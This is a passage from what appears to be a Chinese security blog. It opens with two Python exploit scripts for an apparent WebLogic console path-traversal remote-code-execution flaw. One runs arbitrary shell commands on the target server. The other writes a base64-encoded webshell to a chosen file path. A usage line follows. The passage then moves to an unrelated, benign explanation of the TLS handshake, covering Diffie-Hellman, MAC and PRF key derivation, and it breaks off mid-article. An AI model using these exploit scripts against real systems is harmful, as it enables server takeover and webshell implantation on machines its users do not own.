<span class="n">cmd</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">></span> <span class="mi">3</span><span class="p">:</span>
<span class="n">i</span> <span class="o">=</span> <span class="mi">3</span>
<span class="k">while</span> <span class="n">i</span> <span class="o"><</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">):</span>
<span class="n">cmd</span> <span class="o">+=</span> <span class="s1">' '</span>
<span class="n">cmd</span> <span class="o">+=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="c1">#调试的时候使用burp代理抓包,便于发现脚本的问题</span>
<span class="n">proxy</span> <span class="o">=</span> <span class="p">{</span><span class="s2">"http"</span><span class="p">:</span> <span class="s2">"http://127.0.0.1:8080"</span><span class="p">}</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">baseurl</span> <span class="o">+</span> <span class="s2">"/console/css/</span><span class="si">%252e%252e%252f</span><span class="s2">console.portal"</span>
<span class="c1">#设置不跟随302重定向,不然会获取不到cookie</span>
<span class="c1">#response = requests.get(res, proxies=proxy,allow_redirects=False)</span>
<span class="c1">#忽略https证书错误的问题,第二个请求也一样</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">res</span><span class="p">,</span> <span class="n">allow_redirects</span><span class="o">=</span><span class="kc">False</span><span class="p">,</span> <span class="n">verify</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'---------------------------------------raw header---------------------------------------'</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">headers</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'---------------------------------------raw header---------------------------------------</span><span class="se">\n\n</span><span class="s1">'</span><span class="p">)</span>
<span class="n">cookie_raw</span> <span class="o">=</span> <span class="n">response</span><span class="o">.</span><span class="n">headers</span><span class="p">[</span><span class="s1">'Set-Cookie'</span><span class="p">]</span>
<span class="n">matchObj</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">match</span><span class="p">(</span> <span class="sa">r</span><span class="s1">'(.*); path=/.*?'</span><span class="p">,</span> <span class="n">cookie_raw</span><span class="p">,</span> <span class="n">re</span><span class="o">.</span><span class="n">M</span><span class="o">|</span><span class="n">re</span><span class="o">.</span><span class="n">I</span><span class="p">)</span>
<span class="k">if</span> <span class="n">matchObj</span><span class="p">:</span>
<span class="n">cookie</span> <span class="o">=</span> <span class="n">matchObj</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'+++++++++++++++++++++++++++++++++++++++cookie+++++++++++++++++++++++++++++++++++++++'</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'cookie get!</span><span class="se">\n</span><span class="s1">'</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">cookie</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'+++++++++++++++++++++++++++++++++++++++cookie+++++++++++++++++++++++++++++++++++++++</span><span class="se">\n\n</span><span class="s1">'</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!no cookie!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'no cookie'</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!no cookie!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!</span><span class="se">\n\n</span><span class="s1">'</span><span class="p">)</span>
<span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">();</span>
<span class="c1">#获取到cookie之后,发送第二个请求,用于执行命令</span>
<span class="c1">#注意 useDelimiter("\\A") 这个地方的两个\,需要再次转义,不然python会把其中一个作为</span>
<span class="c1">#转义符处理,导致真正发送的请求中只包含一个\</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">baseurl</span> <span class="o">+</span> <span class="s2">"""/console/css/</span><span class="si">%25%</span><span class="s2">32</span><span class="si">%65%</span><span class="s2">25</span><span class="si">%32%</span><span class="s2">65</span><span class="si">%25%</span><span class="s2">32</span><span class="si">%66c</span><span class="s2">onsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("</span><span class="se">\\\\</span><span class="s2">A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""</span>
<span class="n">headers</span> <span class="o">=</span> <span class="p">{</span><span class="s2">"cookie"</span><span class="p">:</span><span class="n">cookie</span><span class="p">,</span> <span class="s2">"cmd"</span><span class="p">:</span><span class="n">cmd</span><span class="p">}</span>
<span class="c1">#response = requests.get(res, headers=headers, proxies=proxy, allow_redirects=False)</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">res</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span> <span class="n">allow_redirects</span><span class="o">=</span><span class="kc">False</span><span class="p">,</span> <span class="n">verify</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'+++++++++++++++++++++++++++++++++++++++cmd output+++++++++++++++++++++++++++++++++++++++'</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">text</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'+++++++++++++++++++++++++++++++++++++++cmd output+++++++++++++++++++++++++++++++++++++++'</span><span class="p">)</span>
</code></pre></div>
<p><img alt="1607502083894" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/JzsryNOmcP.jpg"></p>
<h2>写入文件</h2>
<div class="highlight"><pre><span></span><code><span class="c1"># -*- coding: UTF-8 -*-</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="c1">#下面这三行代码是为了解决requests的一个bug,就是Connection broken: IncompleteRead</span>
<span class="c1">#其实真正的原因我到现在也不清楚,但是下面这三行代码确实可以解决问题</span>
<span class="c1">#参考https://my.oschina.net/u/1538135/blog/858467</span>
<span class="c1">#python3.x中的httplib变成了http.client需要修改一下</span>
<span class="kn">import</span> <span class="nn">http.client</span>
<span class="n">http</span><span class="o">.</span><span class="n">client</span><span class="o">.</span><span class="n">HTTPConnection</span><span class="o">.</span><span class="n">_http_vsn</span> <span class="o">=</span> <span class="mi">10</span>
<span class="n">http</span><span class="o">.</span><span class="n">client</span><span class="o">.</span><span class="n">HTTPConnection</span><span class="o">.</span><span class="n">_http_vsn_str</span> <span class="o">=</span> <span class="s1">'HTTP/1.0'</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o"><</span><span class="mi">3</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'usage: python3 exp.py http(s):target-ip:target-port command'</span><span class="p">)</span>
<span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">()</span>
<span class="n">baseurl</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="c1">#去掉url最后面的/</span>
<span class="k">if</span> <span class="n">baseurl</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">==</span><span class="s1">'/'</span><span class="p">:</span>
<span class="n">baseurl</span> <span class="o">=</span> <span class="n">baseurl</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="c1">#命令中包含空格的情况</span>
<span class="n">cmd</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">></span> <span class="mi">3</span><span class="p">:</span>
<span class="n">i</span> <span class="o">=</span> <span class="mi">3</span>
<span class="k">while</span> <span class="n">i</span> <span class="o"><</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">):</span>
<span class="n">cmd</span> <span class="o">+=</span> <span class="s1">' '</span>
<span class="n">cmd</span> <span class="o">+=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="c1">#调试的时候使用burp代理抓包,便于发现脚本的问题</span>
<span class="n">proxy</span> <span class="o">=</span> <span class="p">{</span><span class="s2">"http"</span><span class="p">:</span> <span class="s2">"http://127.0.0.1:8080"</span><span class="p">}</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">baseurl</span> <span class="o">+</span> <span class="s2">"/console/css/</span><span class="si">%252e%252e%252f</span><span class="s2">console.portal"</span>
<span class="c1">#设置不跟随302重定向,不然会获取不到cookie</span>
<span class="c1">#response = requests.get(res, proxies=proxy,allow_redirects=False)</span>
<span class="c1">#忽略https证书错误的问题,第二个请求也一样</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">res</span><span class="p">,</span> <span class="n">allow_redirects</span><span class="o">=</span><span class="kc">False</span><span class="p">,</span> <span class="n">verify</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'---------------------------------------raw header---------------------------------------'</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">headers</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'---------------------------------------raw header---------------------------------------</span><span class="se">\n\n</span><span class="s1">'</span><span class="p">)</span>
<span class="n">cookie_raw</span> <span class="o">=</span> <span class="n">response</span><span class="o">.</span><span class="n">headers</span><span class="p">[</span><span class="s1">'Set-Cookie'</span><span class="p">]</span>
<span class="n">matchObj</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">match</span><span class="p">(</span> <span class="sa">r</span><span class="s1">'(.*); path=/.*?'</span><span class="p">,</span> <span class="n">cookie_raw</span><span class="p">,</span> <span class="n">re</span><span class="o">.</span><span class="n">M</span><span class="o">|</span><span class="n">re</span><span class="o">.</span><span class="n">I</span><span class="p">)</span>
<span class="k">if</span> <span class="n">matchObj</span><span class="p">:</span>
<span class="n">cookie</span> <span class="o">=</span> <span class="n">matchObj</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'+++++++++++++++++++++++++++++++++++++++cookie+++++++++++++++++++++++++++++++++++++++'</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'cookie get!</span><span class="se">\n</span><span class="s1">'</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">cookie</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'+++++++++++++++++++++++++++++++++++++++cookie+++++++++++++++++++++++++++++++++++++++</span><span class="se">\n\n</span><span class="s1">'</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!no cookie!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'no cookie'</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!no cookie!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!</span><span class="se">\n\n</span><span class="s1">'</span><span class="p">)</span>
<span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">();</span>
<span class="c1">#获取到cookie之后,发送第二个请求,用于执行命令</span>
<span class="c1">#注意 useDelimiter("\\A") 这个地方的两个\,需要再次转义,不然python会把其中一个作为</span>
<span class="c1">#转义符处理,导致真正发送的请求中只包含一个\</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">baseurl</span> <span class="o">+</span> <span class="s2">"""/console/css/</span><span class="si">%25%</span><span class="s2">32</span><span class="si">%65%</span><span class="s2">25</span><span class="si">%32%</span><span class="s2">65</span><span class="si">%25%</span><span class="s2">32</span><span class="si">%66c</span><span class="s2">onsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(</span><span class="si">%22d</span><span class="s2">ata='你的经过base64编码的马子';data=new String(new sun.misc.BASE64Decoder().decodeBuffer(data));out=new java.io.PrintWriter('你想要写入文件的绝对路径,这个可以通过前面的命令执行脚本获得');out.print(data);out.close();%22);"""</span>
<span class="n">headers</span> <span class="o">=</span> <span class="p">{</span><span class="s2">"cookie"</span><span class="p">:</span><span class="n">cookie</span><span class="p">,</span> <span class="s2">"cmd"</span><span class="p">:</span><span class="n">cmd</span><span class="p">}</span>
<span class="c1">#response = requests.get(res, headers=headers, proxies=proxy, allow_redirects=False)</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">res</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span> <span class="n">allow_redirects</span><span class="o">=</span><span class="kc">False</span><span class="p">,</span> <span class="n">verify</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'+++++++++++++++++++++++++++++++++++++++cmd output+++++++++++++++++++++++++++++++++++++++'</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">text</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'+++++++++++++++++++++++++++++++++++++++cmd output+++++++++++++++++++++++++++++++++++++++'</span><span class="p">)</span>
</code></pre></div>
<p>用法:</p>
<div class="highlight"><pre><span></span><code>python3<span class="w"> </span>exp.py<span class="w"> </span>http://127.0.0.1:7001<span class="w"> </span>-
</code></pre></div>https通信过程2020-11-16T00:00:00+01:002020-11-16T00:00:00+01:0012138tag:None,2020-11-16:httpstong-xin-guo-cheng.html<h1>前言</h1>
<p>前段时间给自己的网站上了个https证书,因此想借此机会深入了解一下https通信的过程,借助wireshark和万能的搜索引擎,稍微进行了一些调查,总结出这篇文章</p>
<p>参 …</p><h1>前言</h1>
<p>前段时间给自己的网站上了个https证书,因此想借此机会深入了解一下https通信的过程,借助wireshark和万能的搜索引擎,稍微进行了一些调查,总结出这篇文章</p>
<p>参考链接:</p>
<ul>
<li><a href="https://www.comparitech.com/blog/information-security/diffie-hellman-key-exchange/#Security_issues_of_the_Diffie-Hellman_key_exchange">https://www.comparitech.com/blog/information-security/diffie-hellman-key-exchange/#Security_issues_of_the_Diffie-Hellman_key_exchange</a></li>
<li><a href="https://crypto.stackexchange.com/questions/58283/why-is-a-diffie-hellman-key-exchange-required-when-rsa-is-already-being-used-for">https://crypto.stackexchange.com/questions/58283/why-is-a-diffie-hellman-key-exchange-required-when-rsa-is-already-being-used-for</a></li>
<li><a href="https://www.cryptologie.net/article/340/tls-pre-master-secrets-and-master-secrets/">https://www.cryptologie.net/article/340/tls-pre-master-secrets-and-master-secrets/</a></li>
<li><a href="https://www.tutorialspoint.com/cryptography/message_authentication.htm">https://www.tutorialspoint.com/cryptography/message_authentication.htm</a></li>
<li><a href="https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange">https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange</a> </li>
<li><a href="https://asecuritysite.com/encryption/curve">https://asecuritysite.com/encryption/curve</a></li>
<li><a href="https://cryptobook.nakov.com/asymmetric-key-ciphers/elliptic-curve-cryptography-ecc">https://cryptobook.nakov.com/asymmetric-key-ciphers/elliptic-curve-cryptography-ecc</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/28566058">https://zhuanlan.zhihu.com/p/28566058</a></li>
</ul>
<h1>TLS中的key exchange(密钥交换)</h1>
<p>以前我一直以为https交换密钥的过程就是客户端随机出来一个对称加密算法的密钥,然后使用证书的公钥加密发送给服务器,服务器使用自己的密钥解密即可,深入了解之后才发现并不是这么简单</p>
<p>下面是使用wireshark抓取的TLS握手阶段的client hello包中所支持的cipher suite:</p>
<p><img alt="1605469580769" src="Diffie-Hellman秘钥交换.assets/1605469580769.png"></p>
<p>可以看到<code>ECDHE</code>是最多的协商方式,即椭圆曲线DH算法,E代表Ephemeral (短暂的),表示密钥在每次会话结束后就会销毁(保证前向保密性)</p>
<p>可以看到几乎一半的cipher suite都使用了DH算法进行密钥的交换,下面我们来了解一下到底什么是DH算法</p>
<h2>DH算法</h2>
<p>DH的主要作用是安全地产生一个共享secret,然后使用这个共享secret派生出两个密钥(对称加密)用于后续的消息加密和完整性验证</p>
<p>当今流行的安全协议大多都实现了自己的DH算法,如TLS、SSh、IPsec、PGP等</p>
<p>首先我们用颜色来对DH算法的大致流程进行解释:</p>
<p><img alt="img" src="Diffie-Hellman秘钥交换.assets/buihuo1.PNG"></p>
<p>整个过程可以描述为:</p>
<ul>
<li>双方以一个约定的颜色作为初始颜色</li>
<li>双方各自随机挑选一个颜色,与初始颜色进行混合</li>
<li>双方交换各自混合过后的颜色</li>
<li>双方使用前面的随机颜色与交换过来的颜色进行混合</li>
<li>双方得到最终的共享secret</li>
</ul>
<p>从上面的过程来看,中间人可以获得初始颜色以及交换的混合后的颜色,通过爆破的方式可以猜解出用于混合的那个随机颜色,最终获得共享secret,当然颜色的爆破可能会比较简单,但是如果是数学计算,就会花费很长的时间和计算资源来进行爆破,而对于DH算法而言,这个时间长(<strong>取决于初始数字的长度</strong>)到无法接受,因此算法是安全的</p>
<p>可以看到在整个过程中共享secret是从未被传输过的,这就保证了我们可以在不安全的通信信道中安全地进行密钥的交换</p>
<p>下面我们用数学的方式来演示一下整个过程:</p>
<ul>
<li>
<p>首先,Alice和Bob会协商出来一个数字p(这个就是初始数字)和数字g这个数字相对较小(太大的话计算会比较复杂),我们这里假设p为17,g为4</p>
</li>
<li>
<p>Alice随机生成一个数字a,假设为3</p>
</li>
<li>Bob随机生成一个数字b,假设为6</li>
<li>然后Alice进行运算:<img alt="1605174230765" src="Diffie-Hellman秘钥交换.assets/1605174230765.png">,计算出A的值为13</li>
<li>Bob进行同样的运算,计算出B的值为16</li>
<li>双方交换AB值</li>
<li>然后各自用交换得到的值替换掉g,进行同样的运算<strong>,计算出最后的共享值s,值为16</strong></li>
</ul>
<p>这里B和s的值相等只是一个巧合,因为我们挑选的数字太小了,实际应用中是不会出现这种情况的</p>
<p>其实就是下面这个等式(<strong>注意下面的公式中ab其实不是同一行的,而是指数形式,即g的a次方的b次方</strong>):</p>
<p><img alt="image-20201114094756381" src="Diffie-Hellman秘钥交换.assets/image-20201114094756381.png"></p>
<p>上述过程中的p、g、A、B都是明文传输的, DH算法的安全性基于一个数学上的事实:在仅知道g、ga(A)、gb(B)的值的情况下,无法计算出a和b的值</p>
<p>上面讲解的仅仅涉及到两个人,事实上DH算法支持多方同时进行共享key的创建</p>
<p><strong>在实际应用中,DH不会单独使用,因为它本身不提供认证,无法避免中间人攻击,如果有一个中间人位于Alice和Bob中间,那么最后Alice、Bob和中间人都会得到共享秘钥,从而导致安全信道建立失败,一般的实现都会包括一个电子证书以及公钥加密算法进行签名,比如RSA,我们在上面看到的client hello包中的cipher suite中的RSA以及ECDSA都是用于签名的公钥加密算法</strong></p>
<h2>DH算法和RSA的关系</h2>
<p>相信不少人都存在这样的疑问:<strong>既然RSA同样可以达到让完全陌生的双方进行安全通信(进行秘钥交换),而且还能提供身份认证,那为什么还要再使用DH算法进行秘钥交换呢</strong></p>
<p>这个有几方面:</p>
<ul>
<li>DH算法不同于RSA,在对称秘钥交换方面速度要更快一些</li>
<li><strong>在秘钥交换过程中,由于DH不会传输秘钥</strong>,且每次的secret key(这里指的是DH算法计算过程中的随机secret,不是最终的共享secret)都是随机生成的,并会在本次会话完成之后清除交换秘钥过程中产生的所有key,因此是<strong>前向安全</strong>的(即使本次会话中的long-term key(共享secret)被破解出来,也不会影响到之前会话的安全性),<strong>但是RSA就不一样了,如果使用RSA进行秘钥交换,那就需要使用服务器的私钥解密使用服务器公钥加密的共享secret,这样一旦服务器的私钥被破解出来,所有会话的共享secret都会被解密出来(因为公钥并不会经常更换),从而无法保证前向安全</strong></li>
</ul>
<p>因此RSA算法在秘钥交换过程中起到的作用主要是验证通信双方的身份,服务器向客户端提供自己的证书,客户端使用CA的公钥验证证书的合法性,然后根据证书中提供的服务器相关信息与当前正在进行通信的服务器进行比对以确认服务器身份</p>
<h1>TLS中的Pre-Master Secrets和Master Secrets</h1>
<p>首先我们来介绍一下MAC算法</p>
<h2>何为MAC</h2>
<p>这里的MAC是密码学中的名词而不是指网卡,MAC全称Message Authentication Code,翻译过来就是消息认证码</p>
<p>MAC是一种对称加密算法,用于提供消息认证,进行认证的前提条件是收件人和发件人共享一个密钥<code>K</code></p>
<p>在TLS中MAC被用来进行消息完整性的验证,这个<code>K</code>会由master secrets派生出来</p>
<p><strong>实质上MAC就是一个被加密的校验值,你可以理解为它是用于加密文件的hash值的</strong></p>
<p><img alt="MAC" src="Diffie-Hellman秘钥交换.assets/mac.jpg"></p>
<p>可以看到在发送前发件人先将共享密钥K和要发送的消息消息传给MAC算法,计算出一个MAC值,然后和原始消息(未加密,这里仅作说明只用,实际中传输的消息是被加密的)一起发送给收件人,收件人向MAC算法提供共享密钥K和发送过来的消息,计算出MAC值,如果和发送过来的MAC值相等,则证明消息没有被篡改,同时确认消息来源是可信的</p>
<p>MAC具有以下两个局限性</p>
<ul>
<li>不提供安全的共享密钥传输渠道</li>
<li>不具备签名功能,因为收发双发均可以计算出相同的MAC,因此收件人可以伪造发件人不曾发送过的消息</li>
</ul>
<p>不过这两个问题都可以通过公钥加密算法来解决,前者可以使用DH解决,后者可以使用RSA算法进行签名</p>
<h2>PRF(伪随机数函数)</h2>
<p>在我们加密或者MAC任何东西的时候,我们都绕不过密钥交换的问题</p>
<p><img alt="Simplified SSLv3/TLS" src="Diffie-Hellman秘钥交换.assets/trAgs.jpg"></p>
<p><strong>pre-master key,也就是图中的S,指的是双方最后协商出来的共享key</strong></p>
<p>协商的方式与client和server在握手阶段选择的cipher suite有关,大部分情况下是DH,不过也有使用rsa的</p>
<p>根据选择的cipher suite,{S}可能是使用服务端证书的公钥(比较少见)进行加密的,也可能是通过DH协商出来的密钥进行加密的</p>
<p><strong>为了保证最后用于加密通信的密钥足够</strong>“随机”,我们还需要将pre-master key、client.random和server.random作为参数传到一个函数(prf)中继续进行计算</p>
<p>pre-master key的长度取决于采用的DH算法(DH算法有多种版本)和向算法传递的参数</p>
<p>最终计算出来的master key一般是一个定长的值(也跟选择的cipher suite有关)</p>
<p><a href="https://tools.ietf.org/html/rfc5246#section-8.1">RFC</a>中的计算方式:</p>
<div class="highlight"><pre><span></span><code><span class="nv">master_secret</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">PRF</span><span class="ss">(</span><span class="nv">pre_master_secret</span>,<span class="w"> </span><span class="s2">"master secret"</span>,
<span class="w"> </span><span class="nv">ClientHello</span>.<span class="k">random</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nv">ServerHello</span>.<span class="k">random</span><span class="ss">)</span>
<span class="w"> </span>[<span class="mi">0</span>..<span class="mi">47</span>]<span class="c1">;</span>
</code></pre></div>
<p>其中两个random是在client hello和server hello消息中发送的,PRF代表伪随机函数</p>
<p>最终生成的master key长度总是48字节,从master key中可以派生出成四个key:</p>
<ul>
<li>client_write_MAC_key</li>
<li>server_write_MAC_key</li>
<li>client_write_key</li>
<li>server_write_key</li>
</ul>
<p>四个key,分为两类,一个是MAC key,用于验证消息的完整性和来源的可靠性,另一个write key是用于加密消息的对称加密的密钥,虽然是4个key,其实client和server的key是一样的</p>
<p>在handshake阶选择的cipher suite(对称加密算法)决定了这些key的长度,不过其中有一个例外,就是<code>AEAD</code>算法(其实该算法已经是主流的解决方案),它不需要<code>MAC key</code>和<code>write key</code>,而是需要<code>write_IV</code>,AEAD算法的特点就是将加密和认证集成到了一起</p>
<p>常见的 AEAD 算法如下:</p>
<ul>
<li>AES-128-GCM</li>
<li>AES-192-GCM</li>
<li>AES-256-GCM</li>
<li>ChaCha20-IETF-Poly1305</li>
<li>XChaCha20-IETF-Poly1305</li>
</ul>
<p>根据<a href="https://tools.ietf.org/html/rfc5246#section-6.3">RFC</a>的描述,上面提到的4个key采用下面的方式生成,根据采用的算法,key block产生的数量也会有所不同</p>
<div class="highlight"><pre><span></span><code>key_block = PRF(SecurityParameters.master_secret,
"key expansion",
SecurityParameters.server_random +
SecurityParameters.client_random);
</code></pre></div>
<p>现在我们来解释一下PRF函数</p>
<p><a href="https://tools.ietf.org/html/rfc5246#section-5">RFC中关于TLS v1.1中PRF函数的说明</a>,和<a href="https://tools.ietf.org/html/rfc4346#section-5">TLS v1.2</a>有所不同,PRF的定义:</p>
<div class="highlight"><pre><span></span><code><span class="n">PRF</span><span class="p">(</span><span class="n">secret</span><span class="p">,</span><span class="w"> </span><span class="n">label</span><span class="p">,</span><span class="w"> </span><span class="n">seed</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">P_</span><span class="o"><</span><span class="n">hash</span><span class="o">></span><span class="p">(</span><span class="n">secret</span><span class="p">,</span><span class="w"> </span><span class="n">label</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">seed</span><span class="p">)</span>
</code></pre></div>
<p>采用go语言实现的PRF函数:<a href="https://golang.org/src/crypto/tls/prf.go#L145">https://golang.org/src/crypto/tls/prf.go#L145</a></p>
<div class="highlight"><pre><span></span><code><span class="nx">P_hash</span><span class="p">(</span><span class="nx">secret</span><span class="p">,</span><span class="w"> </span><span class="nx">seed</span><span class="p">)</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">HMAC_hash</span><span class="p">(</span><span class="nx">secret</span><span class="p">,</span><span class="w"> </span><span class="nx">A</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">seed</span><span class="p">)</span><span class="w"> </span><span class="o">+</span>
<span class="w"> </span><span class="nx">HMAC_hash</span><span class="p">(</span><span class="nx">secret</span><span class="p">,</span><span class="w"> </span><span class="nx">A</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">seed</span><span class="p">)</span><span class="w"> </span><span class="o">+</span>
<span class="w"> </span><span class="nx">HMAC_hash</span><span class="p">(</span><span class="nx">secret</span><span class="p">,</span><span class="w"> </span><span class="nx">A</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">seed</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">...</span>
</code></pre></div>
<p>其中函数A的定义为:</p>
<div class="highlight"><pre><span></span><code><span class="nx">A</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">seed</span>
<span class="nx">A</span><span class="p">(</span><span class="nx">i</span><span class="p">)</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">HMAC_hash</span><span class="p">(</span><span class="nx">secret</span><span class="p">,</span><span class="w"> </span><span class="nx">A</span><span class="p">(</span><span class="nx">i</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
</code></pre></div>
<p>当计算的结果满足我们需要的master key长度时,迭代计算就会停止,结果也就出来了,<strong>计算key_block同理</strong></p>
<p>下面是对go语言实现的prf的代码注释:</p>
